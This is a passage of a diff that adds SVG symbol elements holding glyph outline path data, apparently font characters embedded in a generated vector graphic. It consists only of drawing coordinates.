+<path style="stroke:none;" d="M 1.46875 -10.15625 L 2.921875 -10.15625 L 2.921875 0.546875 C 2.921875 1.941406 2.695312 2.945312 2.25 3.5625 C 1.800781 4.1875 1.078125 4.421875 0.078125 4.265625 L 0.078125 2.953125 C 0.378906 2.953125 0.617188 2.890625 0.796875 2.765625 C 0.984375 2.640625 1.125 2.453125 1.21875 2.203125 C 1.320312 1.953125 1.390625 1.640625 1.421875 1.265625 C 1.453125 0.898438 1.46875 0.460938 1.46875 -0.046875 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-21">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-22">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.1875 C 6.40625 -7.132812 6.289062 -7.851562 6.0625 -8.34375 C 5.84375 -8.84375 5.398438 -9.09375 4.734375 -9.09375 C 4.265625 -9.09375 3.832031 -8.921875 3.4375 -8.578125 C 3.050781 -8.234375 2.789062 -7.804688 2.65625 -7.296875 L 2.65625 0 L 1.203125 0 L 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.203125 L 2.71875 -9.203125 C 2.988281 -9.554688 3.320312 -9.84375 3.71875 -10.0625 C 4.125 -10.289062 4.625 -10.40625 5.21875 -10.40625 C 5.664062 -10.40625 6.054688 -10.34375 6.390625 -10.21875 C 6.722656 -10.101562 7 -9.894531 7.21875 -9.59375 C 7.4375 -9.289062 7.597656 -8.890625 7.703125 -8.390625 C 7.804688 -7.898438 7.859375 -7.289062 7.859375 -6.5625 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-23">
+<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 0.734375 -10.265625 L 10.265625 -10.265625 L 10.265625 0 L 0.734375 0 Z M 8.359375 -9.09375 L 5.5 -5.90625 L 2.640625 -9.09375 L 1.90625 -8.359375 L 4.796875 -5.140625 L 1.90625 -1.90625 L 2.640625 -1.171875 L 5.5 -4.359375 L 8.359375 -1.171875 L 9.09375 -1.90625 L 6.1875 -5.140625 L 9.09375 -8.359375 Z M 1.890625 -0.390625 L 2.015625 -0.390625 L 2.015625 -0.578125 L 2.0625 -0.578125 C 2.125 -0.578125 2.175781 -0.585938 2.21875 -0.609375 C 2.269531 -0.628906 2.296875 -0.675781 2.296875 -0.75 C 2.296875 -0.820312 2.269531 -0.867188 2.21875 -0.890625 C 2.164062 -0.910156 2.109375 -0.921875 2.046875 -0.921875 L 1.890625 -0.921875 Z M 2.0625 -0.84375 C 2.144531 -0.84375 2.1875 -0.816406 2.1875 -0.765625 C 2.1875 -0.710938 2.171875 -0.679688 2.140625 -0.671875 C 2.117188 -0.671875 2.085938 -0.671875 2.046875 -0.671875 L 2.015625 -0.671875 L 2.015625 -0.84375 Z M 2.765625 -0.921875 L 2.3125 -0.921875 L 2.3125 -0.84375 L 2.5 -0.84375 L 2.5 -0.390625 L 2.59375 -0.390625 L 2.59375 -0.84375 L 2.765625 -0.84375 Z M 3.25 -0.546875 C 3.25 -0.503906 3.21875 -0.484375 3.15625 -0.484375 C 3.082031 -0.484375 3.035156 -0.492188 3.015625 -0.515625 L 2.984375 -0.40625 C 2.992188 -0.40625 3.015625 -0.398438 3.046875 -0.390625 C 3.078125 -0.378906 3.117188 -0.375 3.171875 -0.375 C 3.304688 -0.375 3.375 -0.4375 3.375 -0.5625 C 3.375 -0.644531 3.328125 -0.691406 3.234375 -0.703125 C 3.148438 -0.710938 3.109375 -0.742188 3.109375 -0.796875 C 3.109375 -0.828125 3.140625 -0.84375 3.203125 -0.84375 C 3.242188 -0.84375 3.285156 -0.832031 3.328125 -0.8125 L 3.359375 -0.90625 C 3.296875 -0.925781 3.242188 -0.9375 3.203125 -0.9375 C 3.066406 -0.9375 3 -0.882812 3 -0.78125 C 3 -0.726562 3.007812 -0.691406 3.03125 -0.671875 C 3.0625 -0.648438 3.09375 -0.628906 3.125 -0.609375 C 3.15625 -0.597656 3.179688 -0.585938 3.203125 -0.578125 C 3.234375 -0.578125 3.25 -0.566406 3.25 -0.546875 Z M 3.484375 -0.6875 C 3.515625 -0.707031 3.554688 -0.71875 3.609375 -0.71875 C 3.660156 -0.71875 3.6875 -0.695312 3.6875 -0.65625 L 3.6875 -0.625 C 3.675781 -0.625 3.664062 -0.625 3.65625 -0.625 C 3.644531 -0.632812 3.628906 -0.640625 3.609375 -0.640625 C 3.492188 -0.640625 3.4375 -0.59375 3.4375 -0.5 C 3.4375 -0.414062 3.472656 -0.375 3.546875 -0.375 C 3.609375 -0.375 3.65625 -0.398438 3.6875 -0.453125 L 3.71875 -0.390625 L 3.796875 -0.390625 C 3.785156 -0.410156 3.78125 -0.445312 3.78125 -0.5 L 3.78125 -0.65625 C 3.78125 -0.757812 3.734375 -0.8125 3.640625 -0.8125 C 3.597656 -0.8125 3.5625 -0.804688 3.53125 -0.796875 C 3.5 -0.785156 3.472656 -0.773438 3.453125 -0.765625 Z M 3.59375 -0.46875 C 3.550781 -0.46875 3.53125 -0.488281 3.53125 -0.53125 C 3.53125 -0.570312 3.554688 -0.59375 3.609375 -0.59375 C 3.628906 -0.59375 3.644531 -0.585938 3.65625 -0.578125 C 3.664062 -0.578125 3.675781 -0.578125 3.6875 -0.578125 L 3.6875 -0.53125 C 3.664062 -0.488281 3.632812 -0.46875 3.59375 -0.46875 Z M 4.28125 -0.390625 L 4.28125 -0.625 C 4.28125 -0.75 4.238281 -0.8125 4.15625 -0.8125 C 4.082031 -0.8125 4.03125 -0.785156 4 -0.734375 L 3.96875 -0.796875 L 3.90625 -0.796875 L 3.90625 -0.390625 L 4 -0.390625 L 4 -0.640625 C 4.019531 -0.679688 4.050781 -0.703125 4.09375 -0.703125 C 4.144531 -0.703125 4.171875 -0.671875 4.171875 -0.609375 L 4.171875 -0.390625 Z M 4.359375 -0.40625 C 4.398438 -0.382812 4.445312 -0.375 4.5 -0.375 C 4.613281 -0.375 4.671875 -0.421875 4.671875 -0.515625 C 4.671875 -0.566406 4.65625 -0.59375 4.625 -0.59375 C 4.601562 -0.601562 4.578125 -0.617188 4.546875 -0.640625 C 4.492188 -0.660156 4.46875 -0.675781 4.46875 -0.6875 C 4.46875 -0.707031 4.484375 -0.71875 4.515625 -0.71875 C 4.554688 -0.71875 4.597656 -0.707031 4.640625 -0.6875 L 4.671875 -0.78125 C 4.628906 -0.800781 4.578125 -0.8125 4.515625 -0.8125 C 4.421875 -0.8125 4.375 -0.765625 4.375 -0.671875 C 4.375 -0.617188 4.382812 -0.585938 4.40625 -0.578125 C 4.4375 -0.566406 4.460938 -0.554688 4.484375 -0.546875 C 4.535156 -0.546875 4.5625 -0.53125 4.5625 -0.5 C 4.5625 -0.476562 4.546875 -0.46875 4.515625 -0.46875 C 4.472656 -0.46875 4.429688 -0.476562 4.390625 -0.5 Z M 4.953125 -0.609375 C 4.953125 -0.410156 5.050781 -0.3125 5.25 -0.3125 C 5.445312 -0.3125 5.546875 -0.410156 5.546875 -0.609375 C 5.546875 -0.804688 5.445312 -0.90625 5.25 -0.90625 C 5.175781 -0.90625 5.109375 -0.878906 5.046875 -0.828125 C 4.984375 -0.773438 4.953125 -0.703125 4.953125 -0.609375 Z M 5.046875 -0.609375 C 5.046875 -0.765625 5.113281 -0.84375 5.25 -0.84375 C 5.382812 -0.84375 5.453125 -0.765625 5.453125 -0.609375 C 5.453125 -0.460938 5.382812 -0.390625 5.25 -0.390625 C 5.113281 -0.390625 5.046875 -0.460938 5.046875 -0.609375 Z M 5.34375 -0.5625 C 5.320312 -0.550781 5.300781 -0.546875 5.28125 -0.546875 C 5.238281 -0.546875 5.21875 -0.566406 5.21875 -0.609375 C 5.21875 -0.648438 5.238281 -0.671875 5.28125 -0.671875 L 5.328125 -0.671875 L 5.359375 -0.734375 C 5.316406 -0.753906 5.28125 -0.765625 5.25 -0.765625 C 5.164062 -0.765625 5.125 -0.710938 5.125 -0.609375 C 5.125 -0.503906 5.164062 -0.453125 5.25 -0.453125 C 5.300781 -0.453125 5.335938 -0.460938 5.359375 -0.484375 Z M 5.859375 -0.390625 L 5.96875 -0.390625 L 5.96875 -0.578125 L 6.03125 -0.578125 C 6.09375 -0.578125 6.144531 -0.585938 6.1875 -0.609375 C 6.238281 -0.628906 6.265625 -0.675781 6.265625 -0.75 C 6.265625 -0.820312 6.238281 -0.867188 6.1875 -0.890625 C 6.132812 -0.910156 6.078125 -0.921875 6.015625 -0.921875 L 5.859375 -0.921875 Z M 6.03125 -0.84375 C 6.101562 -0.84375 6.140625 -0.816406 6.140625 -0.765625 C 6.140625 -0.710938 6.128906 -0.679688 6.109375 -0.671875 C 6.085938 -0.671875 6.054688 -0.671875 6.015625 -0.671875 L 5.96875 -0.671875 L 5.96875 -0.84375 Z M 6.34375 -0.6875 C 6.375 -0.707031 6.414062 -0.71875 6.46875 -0.71875 C 6.519531 -0.71875 6.546875 -0.695312 6.546875 -0.65625 L 6.546875 -0.625 C 6.535156 -0.625 6.523438 -0.625 6.515625 -0.625 C 6.503906 -0.632812 6.488281 -0.640625 6.46875 -0.640625 C 6.34375 -0.640625 6.28125 -0.59375 6.28125 -0.5 C 6.28125 -0.414062 6.320312 -0.375 6.40625 -0.375 C 6.46875 -0.375 6.515625 -0.398438 6.546875 -0.453125 L 6.578125 -0.390625 L 6.65625 -0.390625 C 6.644531 -0.410156 6.640625 -0.445312 6.640625 -0.5 L 6.640625 -0.65625 C 6.640625 -0.757812 6.59375 -0.8125 6.5 -0.8125 C 6.457031 -0.8125 6.421875 -0.804688 6.390625 -0.796875 C 6.359375 -0.785156 6.332031 -0.773438 6.3125 -0.765625 Z M 6.453125 -0.46875 C 6.410156 -0.46875 6.390625 -0.488281 6.390625 -0.53125 C 6.390625 -0.570312 6.414062 -0.59375 6.46875 -0.59375 C 6.488281 -0.59375 6.503906 -0.585938 6.515625 -0.578125 C 6.523438 -0.578125 6.535156 -0.578125 6.546875 -0.578125 L 6.546875 -0.53125 C 6.523438 -0.488281 6.492188 -0.46875 6.453125 -0.46875 Z M 7.015625 -0.796875 C 7.003906 -0.804688 6.984375 -0.8125 6.953125 -0.8125 C 6.910156 -0.8125 6.878906 -0.785156 6.859375 -0.734375 L 6.84375 -0.796875 L 6.75 -0.796875 L 6.75 -0.390625 L 6.859375 -0.390625 L 6.859375 -0.640625 C 6.859375 -0.679688 6.890625 -0.703125 6.953125 -0.703125 L 6.96875 -0.703125 C 6.976562 -0.703125 6.984375 -0.695312 6.984375 -0.6875 C 6.984375 -0.6875 6.988281 -0.6875 7 -0.6875 Z M 7.09375 -0.6875 C 7.144531 -0.707031 7.1875 -0.71875 7.21875 -0.71875 C 7.269531 -0.71875 7.296875 -0.695312 7.296875 -0.65625 L 7.296875 -0.625 C 7.285156 -0.625 7.273438 -0.625 7.265625 -0.625 C 7.253906 -0.632812 7.238281 -0.640625 7.21875 -0.640625 C 7.09375 -0.640625 7.03125 -0.59375 7.03125 -0.5 C 7.03125 -0.414062 7.070312 -0.375 7.15625 -0.375 C 7.226562 -0.375 7.273438 -0.398438 7.296875 -0.453125 L 7.3125 -0.453125 L 7.328125 -0.390625 L 7.40625 -0.390625 C 7.394531 -0.410156 7.390625 -0.445312 7.390625 -0.5 L 7.390625 -0.65625 C 7.390625 -0.757812 7.34375 -0.8125 7.25 -0.8125 C 7.207031 -0.8125 7.171875 -0.804688 7.140625 -0.796875 C 7.109375 -0.785156 7.085938 -0.773438 7.078125 -0.765625 Z M 7.203125 -0.46875 C 7.160156 -0.46875 7.140625 -0.488281 7.140625 -0.53125 C 7.140625 -0.570312 7.164062 -0.59375 7.21875 -0.59375 C 7.238281 -0.59375 7.253906 -0.585938 7.265625 -0.578125 C 7.273438 -0.578125 7.285156 -0.578125 7.296875 -0.578125 L 7.296875 -0.53125 C 7.273438 -0.488281 7.242188 -0.46875 7.203125 -0.46875 Z M 7.8125 -0.921875 L 7.359375 -0.921875 L 7.359375 -0.84375 L 7.53125 -0.84375 L 7.53125 -0.390625 L 7.640625 -0.390625 L 7.640625 -0.84375 L 7.8125 -0.84375 Z M 7.9375 -0.796875 L 7.8125 -0.796875 L 8 -0.390625 C 7.988281 -0.347656 7.960938 -0.328125 7.921875 -0.328125 L 7.90625 -0.34375 L 7.875 -0.25 C 7.894531 -0.238281 7.921875 -0.234375 7.953125 -0.234375 C 8.003906 -0.234375 8.050781 -0.296875 8.09375 -0.421875 L 8.25 -0.796875 L 8.125 -0.796875 L 8.0625 -0.578125 L 8.0625 -0.5 L 8.046875 -0.5 L 8.03125 -0.578125 Z M 8.296875 -0.234375 L 8.40625 -0.234375 L 8.40625 -0.40625 C 8.414062 -0.382812 8.441406 -0.375 8.484375 -0.375 C 8.617188 -0.375 8.6875 -0.445312 8.6875 -0.59375 C 8.6875 -0.738281 8.632812 -0.8125 8.53125 -0.8125 C 8.476562 -0.8125 8.429688 -0.789062 8.390625 -0.75 L 8.375 -0.75 L 8.359375 -0.796875 L 8.296875 -0.796875 Z M 8.5 -0.71875 C 8.539062 -0.71875 8.5625 -0.675781 8.5625 -0.59375 C 8.5625 -0.507812 8.53125 -0.46875 8.46875 -0.46875 C 8.445312 -0.46875 8.425781 -0.476562 8.40625 -0.5 L 8.40625 -0.640625 C 8.40625 -0.691406 8.4375 -0.71875 8.5 -0.71875 Z M 9.0625 -0.5 C 9.039062 -0.476562 9.007812 -0.46875 8.96875 -0.46875 C 8.894531 -0.46875 8.851562 -0.5 8.84375 -0.5625 L 9.125 -0.5625 L 9.125 -0.640625 C 9.125 -0.703125 9.101562 -0.742188 9.0625 -0.765625 C 9.03125 -0.796875 8.992188 -0.8125 8.953125 -0.8125 C 8.816406 -0.8125 8.75 -0.738281 8.75 -0.59375 C 8.75 -0.445312 8.816406 -0.375 8.953125 -0.375 C 8.984375 -0.375 9.007812 -0.378906 9.03125 -0.390625 C 9.0625 -0.398438 9.085938 -0.410156 9.109375 -0.421875 Z M 8.953125 -0.71875 C 9.003906 -0.71875 9.023438 -0.6875 9.015625 -0.625 L 8.859375 -0.625 C 8.859375 -0.6875 8.890625 -0.71875 8.953125 -0.71875 Z M 8.953125 -0.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 1.046875 -7.328125 L 2.09375 -7.328125 L 2.09375 0 L 1.046875 0 Z M 0.84375 -9.5625 C 0.84375 -9.800781 0.910156 -9.992188 1.046875 -10.140625 C 1.179688 -10.285156 1.351562 -10.359375 1.5625 -10.359375 C 1.78125 -10.359375 1.957031 -10.285156 2.09375 -10.140625 C 2.238281 -10.003906 2.3125 -9.8125 2.3125 -9.5625 C 2.3125 -9.332031 2.238281 -9.148438 2.09375 -9.015625 C 1.957031 -8.878906 1.78125 -8.8125 1.5625 -8.8125 C 1.351562 -8.8125 1.179688 -8.878906 1.046875 -9.015625 C 0.910156 -9.160156 0.84375 -9.34375 0.84375 -9.5625 Z M 0.84375 -9.5625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 5.484375 -2.53125 C 5.484375 -2.03125 5.488281 -1.578125 5.5 -1.171875 C 5.507812 -0.765625 5.546875 -0.363281 5.609375 0.03125 L 4.890625 0.03125 L 4.65625 -0.84375 L 4.59375 -0.84375 C 4.457031 -0.550781 4.238281 -0.304688 3.9375 -0.109375 C 3.644531 0.078125 3.296875 0.171875 2.890625 0.171875 C 2.097656 0.171875 1.507812 -0.132812 1.125 -0.75 C 0.738281 -1.363281 0.546875 -2.332031 0.546875 -3.65625 C 0.546875 -4.90625 0.78125 -5.851562 1.25 -6.5 C 1.726562 -7.144531 2.382812 -7.46875 3.21875 -7.46875 C 3.5 -7.46875 3.722656 -7.445312 3.890625 -7.40625 C 4.054688 -7.375 4.238281 -7.320312 4.4375 -7.25 L 4.4375 -10.265625 L 5.484375 -10.265625 Z M 4.4375 -6.171875 C 4.289062 -6.296875 4.132812 -6.382812 3.96875 -6.4375 C 3.800781 -6.488281 3.570312 -6.515625 3.28125 -6.515625 C 2.769531 -6.515625 2.367188 -6.28125 2.078125 -5.8125 C 1.785156 -5.34375 1.640625 -4.617188 1.640625 -3.640625 C 1.640625 -3.210938 1.664062 -2.820312 1.71875 -2.46875 C 1.769531 -2.125 1.851562 -1.820312 1.96875 -1.5625 C 2.082031 -1.3125 2.226562 -1.117188 2.40625 -0.984375 C 2.59375 -0.847656 2.816406 -0.78125 3.078125 -0.78125 C 3.785156 -0.78125 4.238281 -1.195312 4.4375 -2.03125 Z M 4.4375 -6.171875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.46875 C 4.625 -5.207031 4.535156 -5.738281 4.359375 -6.0625 C 4.191406 -6.394531 3.890625 -6.5625 3.453125 -6.5625 C 3.054688 -6.5625 2.726562 -6.441406 2.46875 -6.203125 C 2.21875 -5.972656 2.035156 -5.6875 1.921875 -5.34375 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.625 -7.328125 L 1.8125 -6.5625 L 1.859375 -6.5625 C 2.046875 -6.820312 2.296875 -7.046875 2.609375 -7.234375 C 2.929688 -7.421875 3.3125 -7.515625 3.75 -7.515625 C 4.0625 -7.515625 4.335938 -7.46875 4.578125 -7.375 C 4.816406 -7.289062 5.015625 -7.140625 5.171875 -6.921875 C 5.335938 -6.710938 5.460938 -6.429688 5.546875 -6.078125 C 5.628906 -5.734375 5.671875 -5.289062 5.671875 -4.75 L 5.671875 0 Z M 4.625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 0.796875 -6.890625 C 1.078125 -7.066406 1.421875 -7.203125 1.828125 -7.296875 C 2.234375 -7.398438 2.660156 -7.453125 3.109375 -7.453125 C 3.523438 -7.453125 3.851562 -7.390625 4.09375 -7.265625 C 4.34375 -7.148438 4.539062 -6.984375 4.6875 -6.765625 C 4.832031 -6.554688 4.925781 -6.316406 4.96875 -6.046875 C 5.007812 -5.785156 5.03125 -5.503906 5.03125 -5.203125 C 5.03125 -4.617188 5.015625 -4.046875 4.984375 -3.484375 C 4.960938 -2.929688 4.953125 -2.40625 4.953125 -1.90625 C 4.953125 -1.53125 4.960938 -1.179688 4.984375 -0.859375 C 5.015625 -0.546875 5.066406 -0.25 5.140625 0.03125 L 4.328125 0.03125 L 4.078125 -0.84375 L 4.015625 -0.84375 C 3.867188 -0.582031 3.65625 -0.359375 3.375 -0.171875 C 3.09375 0.015625 2.710938 0.109375 2.234375 0.109375 C 1.703125 0.109375 1.265625 -0.0703125 0.921875 -0.4375 C 0.585938 -0.8125 0.421875 -1.320312 0.421875 -1.96875 C 0.421875 -2.382812 0.488281 -2.734375 0.625 -3.015625 C 0.769531 -3.304688 0.972656 -3.535156 1.234375 -3.703125 C 1.492188 -3.878906 1.800781 -4.003906 2.15625 -4.078125 C 2.519531 -4.160156 2.921875 -4.203125 3.359375 -4.203125 C 3.453125 -4.203125 3.546875 -4.203125 3.640625 -4.203125 C 3.742188 -4.203125 3.851562 -4.195312 3.96875 -4.1875 C 3.988281 -4.488281 4 -4.753906 4 -4.984375 C 4 -5.546875 3.914062 -5.9375 3.75 -6.15625 C 3.582031 -6.382812 3.28125 -6.5 2.84375 -6.5 C 2.570312 -6.5 2.273438 -6.457031 1.953125 -6.375 C 1.628906 -6.289062 1.359375 -6.1875 1.140625 -6.0625 Z M 3.96875 -3.34375 C 3.875 -3.351562 3.773438 -3.359375 3.671875 -3.359375 C 3.578125 -3.367188 3.484375 -3.375 3.390625 -3.375 C 3.148438 -3.375 2.914062 -3.351562 2.6875 -3.3125 C 2.46875 -3.269531 2.269531 -3.203125 2.09375 -3.109375 C 1.914062 -3.015625 1.773438 -2.882812 1.671875 -2.71875 C 1.578125 -2.550781 1.53125 -2.335938 1.53125 -2.078125 C 1.53125 -1.691406 1.625 -1.390625 1.8125 -1.171875 C 2 -0.953125 2.242188 -0.84375 2.546875 -0.84375 C 2.960938 -0.84375 3.28125 -0.941406 3.5 -1.140625 C 3.726562 -1.335938 3.882812 -1.554688 3.96875 -1.796875 Z M 3.96875 -3.34375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 4.296875 0 L 4.296875 -4.359375 C 4.296875 -4.742188 4.28125 -5.078125 4.25 -5.359375 C 4.226562 -5.640625 4.175781 -5.867188 4.09375 -6.046875 C 4.019531 -6.222656 3.914062 -6.351562 3.78125 -6.4375 C 3.644531 -6.519531 3.46875 -6.5625 3.25 -6.5625 C 2.914062 -6.5625 2.628906 -6.429688 2.390625 -6.171875 C 2.160156 -5.910156 2.003906 -5.613281 1.921875 -5.28125 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 2.050781 -6.84375 2.296875 -7.070312 2.578125 -7.25 C 2.859375 -7.425781 3.222656 -7.515625 3.671875 -7.515625 C 4.035156 -7.515625 4.335938 -7.429688 4.578125 -7.265625 C 4.816406 -7.109375 5.007812 -6.820312 5.15625 -6.40625 C 5.320312 -6.75 5.566406 -7.019531 5.890625 -7.21875 C 6.222656 -7.414062 6.585938 -7.515625 6.984375 -7.515625 C 7.304688 -7.515625 7.582031 -7.472656 7.8125 -7.390625 C 8.039062 -7.304688 8.222656 -7.15625 8.359375 -6.9375 C 8.503906 -6.726562 8.609375 -6.453125 8.671875 -6.109375 C 8.742188 -5.765625 8.78125 -5.328125 8.78125 -4.796875 L 8.78125 0 L 7.734375 0 L 7.734375 -4.671875 C 7.734375 -5.304688 7.671875 -5.78125 7.546875 -6.09375 C 7.421875 -6.40625 7.140625 -6.5625 6.703125 -6.5625 C 6.328125 -6.5625 6.03125 -6.445312 5.8125 -6.21875 C 5.59375 -5.988281 5.441406 -5.675781 5.359375 -5.28125 L 5.359375 0 Z M 4.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 5.25 -0.5 C 5.019531 -0.28125 4.722656 -0.113281 4.359375 0 C 3.992188 0.113281 3.613281 0.171875 3.21875 0.171875 C 2.757812 0.171875 2.359375 0.0820312 2.015625 -0.09375 C 1.679688 -0.269531 1.398438 -0.523438 1.171875 -0.859375 C 0.953125 -1.203125 0.789062 -1.609375 0.6875 -2.078125 C 0.59375 -2.546875 0.546875 -3.078125 0.546875 -3.671875 C 0.546875 -4.921875 0.773438 -5.875 1.234375 -6.53125 C 1.691406 -7.1875 2.34375 -7.515625 3.1875 -7.515625 C 3.457031 -7.515625 3.726562 -7.476562 4 -7.40625 C 4.269531 -7.34375 4.507812 -7.207031 4.71875 -7 C 4.9375 -6.789062 5.109375 -6.5 5.234375 -6.125 C 5.367188 -5.757812 5.4375 -5.28125 5.4375 -4.6875 C 5.4375 -4.519531 5.429688 -4.335938 5.421875 -4.140625 C 5.410156 -3.953125 5.394531 -3.753906 5.375 -3.546875 L 1.640625 -3.546875 C 1.640625 -3.128906 1.671875 -2.75 1.734375 -2.40625 C 1.804688 -2.0625 1.914062 -1.769531 2.0625 -1.53125 C 2.207031 -1.289062 2.394531 -1.101562 2.625 -0.96875 C 2.863281 -0.84375 3.148438 -0.78125 3.484375 -0.78125 C 3.753906 -0.78125 4.019531 -0.828125 4.28125 -0.921875 C 4.539062 -1.023438 4.738281 -1.144531 4.875 -1.28125 Z M 4.4375 -4.4375 C 4.445312 -5.164062 4.335938 -5.703125 4.109375 -6.046875 C 3.890625 -6.390625 3.585938 -6.5625 3.203125 -6.5625 C 2.753906 -6.5625 2.394531 -6.390625 2.125 -6.046875 C 1.863281 -5.703125 1.707031 -5.164062 1.65625 -4.4375 Z M 4.4375 -4.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.78125 -6.546875 L 1.828125 -6.546875 C 2.191406 -7.191406 2.757812 -7.515625 3.53125 -7.515625 C 4.300781 -7.515625 4.878906 -7.222656 5.265625 -6.640625 C 5.660156 -6.066406 5.859375 -5.125 5.859375 -3.8125 C 5.859375 -3.195312 5.789062 -2.640625 5.65625 -2.140625 C 5.53125 -1.648438 5.347656 -1.226562 5.109375 -0.875 C 4.878906 -0.53125 4.59375 -0.269531 4.25 -0.09375 C 3.914062 0.0820312 3.546875 0.171875 3.140625 0.171875 C 2.859375 0.171875 2.632812 0.15625 2.46875 0.125 C 2.300781 0.09375 2.117188 0.0195312 1.921875 -0.09375 L 1.921875 2.9375 L 0.859375 2.9375 Z M 1.921875 -1.15625 C 2.054688 -1.039062 2.207031 -0.945312 2.375 -0.875 C 2.550781 -0.8125 2.78125 -0.78125 3.0625 -0.78125 C 3.582031 -0.78125 3.992188 -1.039062 4.296875 -1.5625 C 4.597656 -2.09375 4.75 -2.847656 4.75 -3.828125 C 4.75 -4.242188 4.722656 -4.613281 4.671875 -4.9375 C 4.617188 -5.269531 4.53125 -5.554688 4.40625 -5.796875 C 4.289062 -6.035156 4.144531 -6.222656 3.96875 -6.359375 C 3.789062 -6.492188 3.566406 -6.5625 3.296875 -6.5625 C 2.585938 -6.5625 2.128906 -6.125 1.921875 -5.25 Z M 1.921875 -1.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 1.976562 -6.84375 2.15625 -7.0625 2.375 -7.21875 C 2.601562 -7.382812 2.875 -7.46875 3.1875 -7.46875 C 3.40625 -7.46875 3.660156 -7.421875 3.953125 -7.328125 L 3.734375 -6.265625 C 3.484375 -6.347656 3.257812 -6.390625 3.0625 -6.390625 C 2.75 -6.390625 2.492188 -6.300781 2.296875 -6.125 C 2.109375 -5.945312 1.984375 -5.707031 1.921875 -5.40625 L 1.921875 0 L 0.859375 0 Z M 0.859375 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
